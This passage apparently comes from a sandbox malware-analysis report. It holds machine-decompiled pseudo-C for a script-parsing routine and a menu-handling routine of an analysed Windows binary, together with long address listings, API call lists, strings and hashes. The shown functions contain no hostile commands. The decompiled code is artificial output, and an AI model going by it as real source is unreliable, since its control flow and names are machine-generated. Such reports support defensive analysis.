								_t188 = E004134EF( *(_t293 + 0x8a8 + _t280 * 2) & 0x0000ffff);
								_t291 = _t293 + 4;
								if(_t188 == 0) {
									break;
								}
								_t210 = E004134C6(_t241, _t226);
								_t293 = _t291 + 4;
								if(_t210 != 0) {
									_t280 = _t280 + 1;
									continue;
								}
								break;
							}
							if( *((short*)(_t291 + 0x8a8 + _t280 * 2)) == 0) {
								L22:
								 *((short*)(_t291 + 0x8a8 + _t273 * 2)) = 0;
								_t191 = E00403DD0( &_a2208);
								_t242 =  &_a2208;
								_push( &_a2208);
								if(_t191 == 0) {
									_push(L"Unterminated string");
									_push(_a12);
									_push(_a16);
									_push(_a4);
									E00453F80(__eflags, _t325);
									_v12 = 0;
									break;
								}
								_t194 = E004112D5();
								_t294 = _t291 + 4;
								if(_t194 == 0) {
									L29:
									_t227 = 0;
									_t196 = E004112D5( &_a2208);
									_t291 = _t294 + 4;
									if(_t196 > 2) {
										_t282 = _t196;
										_t206 = E004134C6( *(_t291 + 0x8a4 + _t282 * 2) & 0x0000007f,  *(_t291 + 0x8a4 + _t282 * 2) & 0x7f);
										_t291 = _t291 + 4;
										if(_t206 != 0) {
											__eflags =  *((short*)(_t291 + 0x8a6 + _t282 * 2)) - 0x5f;
											if( *((short*)(_t291 + 0x8a6 + _t282 * 2)) == 0x5f) {
												 *((short*)(_t291 + 0x8a6 + _t282 * 2)) = 0;
												_t227 = 1;
											}
										}
									}
									if(_a9 == 1) {
										E00437AFE(_t227, _a4,  &_a2208);
									} else {
										_t281 = _a4;
										_t200 = E00403E50(_a4,  &_a104, _t325,  &_a2208,  &_a104,  &_a12,  &_a32);
										if(_t200 != 3) {
											_t201 = _t200;
											__eflags = _t201;
											if(_t201 == 0) {
												_a8 = 0;
												L34:
												if(_t227 == 1) {
													_a9 = 1;
												} else {
													_a9 = 0;
												}
												if(_a8 != 1) {
													break;
												} else {
													_t224 = _a11;
													continue;
												}
											}
											_t202 = _t201 - 2;
											__eflags = _t202;
											if(_t202 == 0) {
												goto L33;
											}
											_t205 = _t202 - 2;
											__eflags = _t205;
											if(_t205 == 0) {
												_a11 = _t205;
											}
											goto L34;
										}
										L33:
										E00403E90(_t227, _a12, _t281, _a12,  &_a2208, _a12);
									}
									goto L34;
								}
								_t66 = _t194 - 1; // -1
								_t284 = _t66;
								if(_t284 < 0) {
									L28:
									 *((short*)(_t294 + 0x8aa + _t284 * 2)) = 0;
									goto L29;
								}
								while(1) {
									_t273 =  *(_t294 + 0x8a8 + _t284 * 2) & 0x0000ffff;
									_t208 = E004134EF( *(_t294 + 0x8a8 + _t284 * 2) & 0x0000ffff);
									_t294 = _t294 + 4;
									if(_t208 == 0) {
										goto L28;
									}
									_t209 = E004134C6(_t242, _t273);
									_t294 = _t294 + 4;
									if(_t209 != 0) {
										_t284 = _t284 - 1;
										__eflags = _t284;
										if(_t284 >= 0) {
											continue;
										}
									}
									goto L28;
								}
								goto L28;
							}
							do {
								 *((short*)(_t291 + 0x8a8 + _t273 * 2)) =  *((intOrPtr*)(_t291 + 0x8a8 + _t280 * 2));
								_t280 = _t280 + 1;
								_t273 =  &(_t273[0]);
							} while ( *((short*)(_t291 + 0x8a8 + _t280 * 2)) != 0);
							goto L22;
						}
					}
					_t225 = 0;
					goto L42;
				}
			}














































                                                                                                                                                                            0x004037e0
                                                                                                                                                                            0x004037e3
                                                                                                                                                                            0x004037eb
                                                                                                                                                                            0x004037f0
                                                                                                                                                                            0x004037f6
                                                                                                                                                                            0x004037f7
                                                                                                                                                                            0x004037fc
                                                                                                                                                                            0x00403801
                                                                                                                                                                            0x0042b877
                                                                                                                                                                            0x0042b87b
                                                                                                                                                                            0x0042b880
                                                                                                                                                                            0x0042b881
                                                                                                                                                                            0x0042b882
                                                                                                                                                                            0x0042b883
                                                                                                                                                                            0x0042b888
                                                                                                                                                                            0x0042b88e
                                                                                                                                                                            0x00403bb9
                                                                                                                                                                            0x00403bbf
                                                                                                                                                                            0x00403bbf
                                                                                                                                                                            0x00403807
                                                                                                                                                                            0x0040380a
                                                                                                                                                                            0x00403810
                                                                                                                                                                            0x00403818
                                                                                                                                                                            0x0040381d
                                                                                                                                                                            0x00403821
                                                                                                                                                                            0x00403826
                                                                                                                                                                            0x0040382f
                                                                                                                                                                            0x00403845
                                                                                                                                                                            0x0042b895
                                                                                                                                                                            0x0040384b
                                                                                                                                                                            0x0040384b
                                                                                                                                                                            0x0040384b
                                                                                                                                                                            0x00403854
                                                                                                                                                                            0x0040385e
                                                                                                                                                                            0x0042b8a8
                                                                                                                                                                            0x0042b8ac
                                                                                                                                                                            0x0042b8b1
                                                                                                                                                                            0x0042b8b2
                                                                                                                                                                            0x0042b8b3
                                                                                                                                                                            0x0042b8b4
                                                                                                                                                                            0x0042b8be
                                                                                                                                                                            0x0042b8c3
                                                                                                                                                                            0x0042b8c9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403864
                                                                                                                                                                            0x00403871
                                                                                                                                                                            0x00403887
                                                                                                                                                                            0x004038b2
                                                                                                                                                                            0x004038c7
                                                                                                                                                                            0x004038dc
                                                                                                                                                                            0x004038e1
                                                                                                                                                                            0x004038ec
                                                                                                                                                                            0x004038f2
                                                                                                                                                                            0x00403901
                                                                                                                                                                            0x00403909
                                                                                                                                                                            0x0040390e
                                                                                                                                                                            0x00403914
                                                                                                                                                                            0x0042b8f3
                                                                                                                                                                            0x0042b8f8
                                                                                                                                                                            0x0042b8f9
                                                                                                                                                                            0x0042b8fe
                                                                                                                                                                            0x0040391a
                                                                                                                                                                            0x0040391a
                                                                                                                                                                            0x0040391c
                                                                                                                                                                            0x0042b8da
                                                                                                                                                                            0x0042b8df
                                                                                                                                                                            0x00403922
                                                                                                                                                                            0x00403922
                                                                                                                                                                            0x00403924
                                                                                                                                                                            0x00403926
                                                                                                                                                                            0x0040392a
                                                                                                                                                                            0x00403932
                                                                                                                                                                            0x0040393a
                                                                                                                                                                            0x0040393c
                                                                                                                                                                            0x00403940
                                                                                                                                                                            0x00403942
                                                                                                                                                                            0x00403947
                                                                                                                                                                            0x0040394c
                                                                                                                                                                            0x0042b8e6
                                                                                                                                                                            0x00403952
                                                                                                                                                                            0x00403952
                                                                                                                                                                            0x00403958
                                                                                                                                                                            0x00403958
                                                                                                                                                                            0x0040395c
                                                                                                                                                                            0x0040396b
                                                                                                                                                                            0x00403b5c
                                                                                                                                                                            0x00403b61
                                                                                                                                                                            0x00403971
                                                                                                                                                                            0x00403978
                                                                                                                                                                            0x0040397d
                                                                                                                                                                            0x00403981
                                                                                                                                                                            0x00403981
                                                                                                                                                                            0x00403984
                                                                                                                                                                            0x0040398b
                                                                                                                                                                            0x00403994
                                                                                                                                                                            0x00403999
                                                                                                                                                                            0x00403999
                                                                                                                                                                            0x0040399c
                                                                                                                                                                            0x0040399c
                                                                                                                                                                            0x0040396b
                                                                                                                                                                            0x0040391c
                                                                                                                                                                            0x004039a0
                                                                                                                                                                            0x00403b68
                                                                                                                                                                            0x00403b6c
                                                                                                                                                                            0x00403b79
                                                                                                                                                                            0x00403b7d
                                                                                                                                                                            0x00403b81
                                                                                                                                                                            0x00403b87
                                                                                                                                                                            0x00403b90
                                                                                                                                                                            0x00403b94
                                                                                                                                                                            0x00403b98
                                                                                                                                                                            0x00403b9d
                                                                                                                                                                            0x00403ba7
                                                                                                                                                                            0x00403bac
                                                                                                                                                                            0x00403bb3
                                                                                                                                                                            0x00403bb3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004039a6
                                                                                                                                                                            0x004039a6
                                                                                                                                                                            0x004039af
                                                                                                                                                                            0x0042b905
                                                                                                                                                                            0x0042b90f
                                                                                                                                                                            0x0042b934
                                                                                                                                                                            0x0042b939
                                                                                                                                                                            0x0042b93c
                                                                                                                                                                            0x0042b93c
                                                                                                                                                                            0x004039ba
                                                                                                                                                                            0x004039c2
                                                                                                                                                                            0x004039c7
                                                                                                                                                                            0x004039cb
                                                                                                                                                                            0x004039ce
                                                                                                                                                                            0x004039d0
                                                                                                                                                                            0x004039d2
                                                                                                                                                                            0x004039d2
                                                                                                                                                                            0x004039db
                                                                                                                                                                            0x004039e0
                                                                                                                                                                            0x004039e5
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004039e8
                                                                                                                                                                            0x004039ed
                                                                                                                                                                            0x004039f2
                                                                                                                                                                            0x00403b42
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403b42
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004039f2
                                                                                                                                                                            0x00403a01
                                                                                                                                                                            0x00403a2d
                                                                                                                                                                            0x00403a2f
                                                                                                                                                                            0x00403a3e
                                                                                                                                                                            0x00403a43
                                                                                                                                                                            0x00403a4a
                                                                                                                                                                            0x00403a4d
                                                                                                                                                                            0x0042b9ba
                                                                                                                                                                            0x0042b9bf
                                                                                                                                                                            0x0042b9c0
                                                                                                                                                                            0x0042b9c1
                                                                                                                                                                            0x0042b9c2
                                                                                                                                                                            0x0042b9c7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042b9c7
                                                                                                                                                                            0x00403a53
                                                                                                                                                                            0x00403a58
                                                                                                                                                                            0x00403a5d
                                                                                                                                                                            0x00403aa0
                                                                                                                                                                            0x00403aa8
                                                                                                                                                                            0x00403aaa
                                                                                                                                                                            0x00403aaf
                                                                                                                                                                            0x00403ab5
                                                                                                                                                                            0x00403ab7
                                                                                                                                                                            0x00403ac9
                                                                                                                                                                            0x00403ace
                                                                                                                                                                            0x00403ad3
                                                                                                                                                                            0x00403b48
                                                                                                                                                                            0x00403b51
                                                                                                                                                                            0x0042b95c
                                                                                                                                                                            0x0042b95f
                                                                                                                                                                            0x0042b95f
                                                                                                                                                                            0x00403b51
                                                                                                                                                                            0x00403ad3
                                                                                                                                                                            0x00403ada
                                                                                                                                                                            0x0042b972
                                                                                                                                                                            0x00403ae0
                                                                                                                                                                            0x00403ae0
                                                                                                                                                                            0x00403afc
                                                                                                                                                                            0x00403b04
                                                                                                                                                                            0x0042b97c
                                                                                                                                                                            0x0042b97c
                                                                                                                                                                            0x0042b97f
                                                                                                                                                                            0x0042b99c
                                                                                                                                                                            0x00403b20
                                                                                                                                                                            0x00403b23
                                                                                                                                                                            0x0042b9a6
                                                                                                                                                                            0x00403b29
                                                                                                                                                                            0x00403b29
                                                                                                                                                                            0x00403b29
                                                                                                                                                                            0x00403b33
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403b39
                                                                                                                                                                            0x00403b39
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403b39
                                                                                                                                                                            0x00403b33
                                                                                                                                                                            0x0042b981
                                                                                                                                                                            0x0042b981
                                                                                                                                                                            0x0042b984
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042b98a
                                                                                                                                                                            0x0042b98a
                                                                                                                                                                            0x0042b98d
                                                                                                                                                                            0x0042b993
                                                                                                                                                                            0x0042b993
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042b98d
                                                                                                                                                                            0x00403b0a
                                                                                                                                                                            0x00403b1b
                                                                                                                                                                            0x00403b1b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403ada
                                                                                                                                                                            0x00403a5f
                                                                                                                                                                            0x00403a5f
                                                                                                                                                                            0x00403a64
                                                                                                                                                                            0x00403a96
                                                                                                                                                                            0x00403a98
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403a98
                                                                                                                                                                            0x00403a70
                                                                                                                                                                            0x00403a70
                                                                                                                                                                            0x00403a79
                                                                                                                                                                            0x00403a7e
                                                                                                                                                                            0x00403a83
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403a86
                                                                                                                                                                            0x00403a8b
                                                                                                                                                                            0x00403a90
                                                                                                                                                                            0x0042b945
                                                                                                                                                                            0x0042b945
                                                                                                                                                                            0x0042b948
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042b94e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403a90
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403a70
                                                                                                                                                                            0x00403a10
                                                                                                                                                                            0x00403a18
                                                                                                                                                                            0x00403a20
                                                                                                                                                                            0x00403a21
                                                                                                                                                                            0x00403a22
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00403a10
                                                                                                                                                                            0x004039a0
                                                                                                                                                                            0x0042b9cc
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0042b9cc

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                            • GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403871
                                                                                                                                                                            • GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403887
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 004038B2
                                                                                                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 004038C7
                                                                                                                                                                            • _wcscat.LIBCMT ref: 004038DC
                                                                                                                                                                            • SetCurrentDirectoryW.KERNEL32(?), ref: 004038EC
                                                                                                                                                                              • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                                              • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                                              • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                                              • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,?,?,0040397D,?,?,00000010), ref: 00403F54
                                                                                                                                                                              • Part of subcall function 00403F40: MultiByteToWideChar.KERNEL32(00000000,00000001,?,?,00000000,00000000,00000000,?,00000010), ref: 00403F8B
                                                                                                                                                                            • _wcscpy.LIBCMT ref: 004039C2
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00403A53
                                                                                                                                                                            • _wcslen.LIBCMT ref: 00403AAA
                                                                                                                                                                            Strings
                                                                                                                                                                            • Unterminated string, xrefs: 0042B9BA
                                                                                                                                                                            • _, xrefs: 00403B48
                                                                                                                                                                            • Error opening the file, xrefs: 0042B8AC
                                                                                                                                                                            • #include depth exceeded. Make sure there are no recursive includes, xrefs: 0042B87B
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _wcslen$ByteCharCurrentDirectoryMultiWide_wcscpy$Exception@8FullNamePathThrow__wsplitpath__wsplitpath_helper_malloc_wcscatstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                                            • String ID: #include depth exceeded. Make sure there are no recursive includes$Error opening the file$Unterminated string$_
                                                                                                                                                                            • API String ID: 4115725249-188983378
                                                                                                                                                                            • Opcode ID: 23f861e9ae0663ca9429ed9cadf699426ced4eec3635d9d720daac6302113a21
                                                                                                                                                                            • Instruction ID: dca64db042171ec5605b2d10b6a92a42a2076cc25022adee7b8115af8a15fc96
                                                                                                                                                                            • Opcode Fuzzy Hash: 23f861e9ae0663ca9429ed9cadf699426ced4eec3635d9d720daac6302113a21
                                                                                                                                                                            • Instruction Fuzzy Hash: 16D1D5B15083019AD710EF65C841AEB77E8AF95308F04492FF5C563292DB78DA49C7AB
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 85%
                                                                                                                                                                            			E00469681(struct HWND__* _a4, signed short _a8, int _a12, signed short _a16) {
				struct tagMENUITEMINFOW _v52;
				int _v56;
				int _v60;
				signed int _v64;
				int _v68;
				int _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t73;
				signed int _t74;
				int _t76;
				int _t78;
				intOrPtr _t79;
				signed int _t82;
				intOrPtr _t84;
				int _t92;
				int _t95;
				int _t96;
				struct HWND__* _t101;
				signed short _t108;
				int _t110;
				signed short _t112;
				intOrPtr _t115;
				int _t137;
				intOrPtr _t140;
				signed int _t141;
				struct HMENU__* _t143;
				struct HWND__* _t148;
				signed short _t149;
				int _t151;
				int _t152;
				int _t155;
				int _t156;

				_t148 = _a4;
				_t74 = E004340B2(_t73, 0x4a83d8, _t148);
				_t115 =  *0x4a8438; // 0x0
				_t108 = _a8;
				_t140 =  *((intOrPtr*)( *((intOrPtr*)(_t115 + _t74 * 4))));
				_v68 = _t74;
				if(_t108 != 2) {
					__eflags = _t108 - 1;
					if(__eflags != 0) {
						_t149 = _a16;
						__eflags = _t149;
						if(_t149 != 0) {
							__eflags = _t149 - 1;
							if(_t149 != 1) {
								goto L14;
							} else {
								__eflags = _a12;
								if(_a12 != 0) {
									goto L14;
								} else {
									_a16 = 0;
									_t149 = _a16;
									_v68 = _t108;
									goto L17;
								}
							}
						} else {
							__eflags = _a12 - _t149;
							if(_a12 != _t149) {
								L14:
								_t76 = E004421C1(0x4a83d8, _a12);
								_v72 = _t76;
								__eflags = _t76 - 0xffffffff;
								if(_t76 != 0xffffffff) {
									_v68 = _t76;
									goto L17;
								} else {
									_t137 = (_t149 & 0x0000ffff) << 0x00000010 | _t108 & 0x0000ffff;
									__eflags = _t137;
									return  *0x48254c(_a4, 0x111, _t137, _a12);
								}
							} else {
								_v68 = _t108;
								L17:
								_t78 = E0044213B(0x4a83d8, _v68,  &_v60,  &_v64);
								__eflags = _t78;
								if(_t78 != 0) {
									_t141 = _v64;
									_t79 =  *0x4a844c; // 0x2f019d0
									__eflags =  *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t79 + _t141 * 4)))) + 0x88)) - 0xf;
									if(__eflags == 0) {
										_push(0x208);
										_v64 = E0041171A(_t108, _t141, __eflags);
										_t84 =  *0x4a844c; // 0x2f019d0
										_t143 =  *( *((intOrPtr*)( *((intOrPtr*)(_t84 + _t141 * 4)))) + 8);
										_v52.cbSize = 0x30;
										E004131F0(_t143,  &(_v52.fMask), 0, 0x2c);
										_t133 =  &_v52;
										_v52.fMask = 0x10;
										_v52.dwTypeData = _v64;
										_v52.cch = 0x104;
										__eflags = GetMenuItemInfoW(_t143, _v68, 0,  &_v52);
										if(__eflags != 0) {
											__eflags = _v52.fType & 0x00000200;
											if(__eflags != 0) {
												_v60 = 0xffffffff;
												_t110 = GetMenuItemCount(_t143);
												_t151 = 0;
												__eflags = _t110;
												if(_t110 <= 0) {
													_t92 = _v60;
													goto L29;
												} else {
													while(1) {
														_t92 = GetMenuItemID(_t143, _t151);
														__eflags = _t92 - _v68;
														if(_t92 == _v68) {
															break;
														}
														_t151 = _t151 + 1;
														__eflags = _t151 - _t110;
														if(_t151 < _t110) {
															continue;
														} else {
															L29:
															__eflags = _t92 - _v68;
															if(__eflags == 0) {
																break;
															}
														}
														goto L39;
													}
													_v60 = _t151;
													_t152 = _t151 - 1;
													__eflags = _t152;
													while(_t152 >= 0) {
														_t96 = GetMenuItemInfoW(_t143, _t152, 1,  &_v52);
														__eflags = _t96;
														if(_t96 == 0) {
															goto L33;
														} else {
															__eflags = _v52.fType & 0x00000200;
															if((_v52.fType & 0x00000200) != 0) {
																goto L33;
															}
														}
														goto L34;
														L33:
														_t152 = _t152 - 1;
														__eflags = _t152;
													}
													L34:
													_v56 = _t152 + 1;
													_t155 = _v60 + 1;
													__eflags = _t155 - _t110;
													_v52.dwTypeData = _v64;
													while(_t155 < _t110) {
														_t95 = GetMenuItemInfoW(_t143, _t155, 1,  &_v52);
														__eflags = _t95;
														if(_t95 == 0) {
															goto L37;
														} else {
															__eflags = _v52.fType & 0x00000200;
															if((_v52.fType & 0x00000200) != 0) {
																goto L37;
															}
														}
														goto L38;
														L37:
														_t155 = _t155 + 1;
														__eflags = _t155 - _t110;
													}
													L38:
													_t133 = _v56;
													_t156 = _t155 - 1;
													__eflags = _t156;
													CheckMenuRadioItem(_t143, _v56, _t156, _v60, 0x400);
												}
												L39:
												_t149 = _a16;
												_t108 = _a8;
											}
										}
										E004112EF(_t108, _t133, _t143, _t149, __eflags, _v64);
									}
									_t74 = E00461F2E(__eflags, _v68, _t149);
									__eflags = _t74;
									if(_t74 == 0) {
										goto L42;
									}
								} else {
									_t97 =  *(_t140 + 0x1b8);
									__eflags =  *(_t140 + 0x1b8);
									if(__eflags != 0) {
										 *(_t140 + 0x1b8) = 0;
										E00461F2E(__eflags, _t97, 0);
									}
									L42:
									_t82 = (_t149 & 0x0000ffff) << 0x00000010 | _t108 & 0x0000ffff;
									__eflags = _t82;
									_t74 =  *0x48254c(_a4, 0x111, _t82, _a12);
								}
								goto L43;
							}
						}
					} else {
						_t101 = GetFocus();
						_v60 = _t101;
						_t112 = GetDlgCtrlID(_t101);
						E00449E31(__eflags, _t112,  &_v60);
						_t74 = E00413762( *(_t140 + 0x1b8));
						__eflags = _t112 - _t74;
						if(_t112 != _t74) {
							goto L43;
						} else {
							__eflags = _a16;
							 *(_t140 + 0x1b8) = 0;
							if(_a16 != 0) {
								goto L43;
							} else {
								__eflags = _a12;
								if(_a12 != 0) {
									goto L43;
								} else {
									return PostMessageW(_t148, 0x111, _t112 & 0x0000ffff, 0);
								}
							}
						}
					}
				} else {
					if( *0x4a83d8 == 0) {
						L43:
						return _t74;
					} else {
						return PostMessageW(_t148, 0x112, 0xf060, 0);
					}
				}
			}






































                                                                                                                                                                            0x0046968c
                                                                                                                                                                            0x00469696
                                                                                                                                                                            0x0046969b
                                                                                                                                                                            0x004696a1
                                                                                                                                                                            0x004696a7
                                                                                                                                                                            0x004696a9
                                                                                                                                                                            0x004696b0
                                                                                                                                                                            0x004696db
                                                                                                                                                                            0x004696de
                                                                                                                                                                            0x0046974e
                                                                                                                                                                            0x00469751
                                                                                                                                                                            0x00469753
                                                                                                                                                                            0x00469760
                                                                                                                                                                            0x00469763
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469765
                                                                                                                                                                            0x00469765
                                                                                                                                                                            0x00469769
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046976b
                                                                                                                                                                            0x0046976b
                                                                                                                                                                            0x00469772
                                                                                                                                                                            0x00469775
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469775
                                                                                                                                                                            0x00469769
                                                                                                                                                                            0x00469755
                                                                                                                                                                            0x00469755
                                                                                                                                                                            0x00469758
                                                                                                                                                                            0x0046977b
                                                                                                                                                                            0x00469784
                                                                                                                                                                            0x00469789
                                                                                                                                                                            0x0046978d
                                                                                                                                                                            0x00469790
                                                                                                                                                                            0x004697ba
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469792
                                                                                                                                                                            0x004697a2
                                                                                                                                                                            0x004697a2
                                                                                                                                                                            0x004697b7
                                                                                                                                                                            0x004697b7
                                                                                                                                                                            0x0046975a
                                                                                                                                                                            0x0046975a
                                                                                                                                                                            0x004697be
                                                                                                                                                                            0x004697d2
                                                                                                                                                                            0x004697d7
                                                                                                                                                                            0x004697d9
                                                                                                                                                                            0x00469800
                                                                                                                                                                            0x00469804
                                                                                                                                                                            0x0046980e
                                                                                                                                                                            0x00469815
                                                                                                                                                                            0x0046981b
                                                                                                                                                                            0x00469825
                                                                                                                                                                            0x00469829
                                                                                                                                                                            0x00469833
                                                                                                                                                                            0x00469842
                                                                                                                                                                            0x0046984a
                                                                                                                                                                            0x0046985a
                                                                                                                                                                            0x00469863
                                                                                                                                                                            0x0046986b
                                                                                                                                                                            0x0046986f
                                                                                                                                                                            0x0046987d
                                                                                                                                                                            0x0046987f
                                                                                                                                                                            0x00469885
                                                                                                                                                                            0x0046988d
                                                                                                                                                                            0x00469894
                                                                                                                                                                            0x004698a2
                                                                                                                                                                            0x004698a4
                                                                                                                                                                            0x004698a6
                                                                                                                                                                            0x004698a8
                                                                                                                                                                            0x004698c6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698b1
                                                                                                                                                                            0x004698b1
                                                                                                                                                                            0x004698b3
                                                                                                                                                                            0x004698b9
                                                                                                                                                                            0x004698bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698bf
                                                                                                                                                                            0x004698c0
                                                                                                                                                                            0x004698c2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698c4
                                                                                                                                                                            0x004698ca
                                                                                                                                                                            0x004698ca
                                                                                                                                                                            0x004698ce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698ce
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698c2
                                                                                                                                                                            0x004698d0
                                                                                                                                                                            0x004698d4
                                                                                                                                                                            0x004698d4
                                                                                                                                                                            0x004698d7
                                                                                                                                                                            0x004698e2
                                                                                                                                                                            0x004698e8
                                                                                                                                                                            0x004698ea
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698ec
                                                                                                                                                                            0x004698ec
                                                                                                                                                                            0x004698f4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698f4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004698f6
                                                                                                                                                                            0x004698f6
                                                                                                                                                                            0x004698f6
                                                                                                                                                                            0x004698f6
                                                                                                                                                                            0x004698fb
                                                                                                                                                                            0x00469900
                                                                                                                                                                            0x00469908
                                                                                                                                                                            0x00469909
                                                                                                                                                                            0x0046990b
                                                                                                                                                                            0x0046990f
                                                                                                                                                                            0x0046991a
                                                                                                                                                                            0x00469920
                                                                                                                                                                            0x00469922
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469924
                                                                                                                                                                            0x00469924
                                                                                                                                                                            0x0046992c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046992c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046992e
                                                                                                                                                                            0x0046992e
                                                                                                                                                                            0x0046992f
                                                                                                                                                                            0x0046992f
                                                                                                                                                                            0x00469933
                                                                                                                                                                            0x00469937
                                                                                                                                                                            0x00469941
                                                                                                                                                                            0x00469941
                                                                                                                                                                            0x00469945
                                                                                                                                                                            0x00469945
                                                                                                                                                                            0x0046994b
                                                                                                                                                                            0x0046994b
                                                                                                                                                                            0x0046994e
                                                                                                                                                                            0x0046994e
                                                                                                                                                                            0x0046988d
                                                                                                                                                                            0x00469956
                                                                                                                                                                            0x0046995b
                                                                                                                                                                            0x00469964
                                                                                                                                                                            0x00469969
                                                                                                                                                                            0x0046996b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004697db
                                                                                                                                                                            0x004697db
                                                                                                                                                                            0x004697e1
                                                                                                                                                                            0x004697e3
                                                                                                                                                                            0x004697ec
                                                                                                                                                                            0x004697f6
                                                                                                                                                                            0x004697f6
                                                                                                                                                                            0x0046996d
                                                                                                                                                                            0x0046997d
                                                                                                                                                                            0x0046997d
                                                                                                                                                                            0x00469986
                                                                                                                                                                            0x00469986
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004697d9
                                                                                                                                                                            0x00469758
                                                                                                                                                                            0x004696e0
                                                                                                                                                                            0x004696e0
                                                                                                                                                                            0x004696e7
                                                                                                                                                                            0x004696f1
                                                                                                                                                                            0x004696f9
                                                                                                                                                                            0x00469705
                                                                                                                                                                            0x0046970d
                                                                                                                                                                            0x0046970f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469715
                                                                                                                                                                            0x00469715
                                                                                                                                                                            0x00469719
                                                                                                                                                                            0x00469723
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469729
                                                                                                                                                                            0x00469729
                                                                                                                                                                            0x0046972d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00469733
                                                                                                                                                                            0x0046974b
                                                                                                                                                                            0x0046974b
                                                                                                                                                                            0x0046972d
                                                                                                                                                                            0x00469723
                                                                                                                                                                            0x0046970f
                                                                                                                                                                            0x004696b2
                                                                                                                                                                            0x004696b9
                                                                                                                                                                            0x0046998c
                                                                                                                                                                            0x00469992
                                                                                                                                                                            0x004696bf
                                                                                                                                                                            0x004696d8
                                                                                                                                                                            0x004696d8
                                                                                                                                                                            0x004696b9

                                                                                                                                                                            APIs
